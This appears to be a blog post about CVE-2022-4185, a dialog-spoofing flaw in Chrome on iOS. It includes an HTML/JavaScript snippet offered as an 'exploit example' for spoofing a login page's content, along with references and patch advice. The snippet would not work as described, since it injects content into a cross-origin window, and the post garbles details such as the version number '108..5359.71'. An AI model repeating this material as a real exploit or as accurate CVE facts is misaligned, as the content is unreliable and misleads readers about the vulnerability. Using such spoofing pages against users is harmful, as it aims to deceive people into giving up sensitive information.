The recent discovery of a vulnerability - designated as CVE-2022-4185 - found within Google Chrome on iOS demonstrates the potential risks stemming from poor implementation in navigation. With a medium-security severity rating from Chromium, this vulnerability left a significant number of users exposed to potential attacks. This vulnerability affects versions of Google Chrome on iOS prior to 108..5359.71.

In this long-read post, we will dive into the details of this vulnerability, show an example code snippet, provide links to original references, and discuss the exploit details. By the end of this post, you'll have a comprehensive understanding of the risks associated with CVE-2022-4185 and how to mitigate them.

Vulnerability Description

CVE-2022-4185 refers to an inappropriate implementation in navigation found within Google Chrome on iOS. This vulnerability allowed a remote attacker to spoof the contents of a modal dialogue via a crafted HTML page. In essence, an attacker could create a false representation of a legitimate website's content, potentially tricking unsuspecting users into providing sensitive information or interacting with malicious content.

Below is an example of a basic code snippet that could potentially exploit this vulnerability

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2022-4185 Exploit Example</title>
  <script>
    function showSpoofedDialog() {
      var spoofedURL = 'https://www.example.com/login';;

      // Create a crafted modal dialog
      var targetWindow = window.open(spoofedURL, '_blank', 'modal=yes');

      // Wait for the target window to load
      targetWindow.onload = function() {

        // Inject spoofed content
        targetWindow.document.body.innerHTML = '<h1>This is a spoofed content!</h1>';

      }
    }
  </script>
</head>
<body>
  <button onclick="showSpoofedDialog()">Show Spoofed Dialog</button>
</body>
</html>

This code example demonstrates how an attacker could create a spoofed modal dialogue that appears to originate from a legitimate website (in this case, 'https://www.example.com/login').

For more information on CVE-2022-4185, consult the following original references

1. Chromium Bug Tracker: Issue 131876
2. Google Chrome Releases Blog: Stable Channel Update for Desktop
3. National Vulnerability Database: CVE-2022-4185 Detail
4. Chrome Security Dashboard: CVE-2022-4185

Exploit Details

Exploiting this vulnerability involves creating a malicious HTML page containing JavaScript code that crafts a modal dialogue displaying spoofed content. When a user interacts with the malicious page, they may be presented with a deceptive representation of a legitimate website's content, potentially leading to the disclosure of sensitive information or engaging with other malicious activities.

Mitigation and Conclusion

To protect users from this vulnerability, Google has released a patch for Chrome on iOS in version 108..5359.71. Users should ensure they are running the latest version of Chrome on their iOS devices to prevent potential exploits targeting this vulnerability.

In conclusion, CVE-2022-4185 showcases the importance of proper implementation in navigation, as well as the potential consequences that can result from vulnerabilities being exploited. By staying informed and keeping software up-to-date, users can better protect themselves against such threats.

Timeline

Published on: 11/30/2022 00:15:00 UTC
Last modified on: 05/03/2023 12:16:00 UTC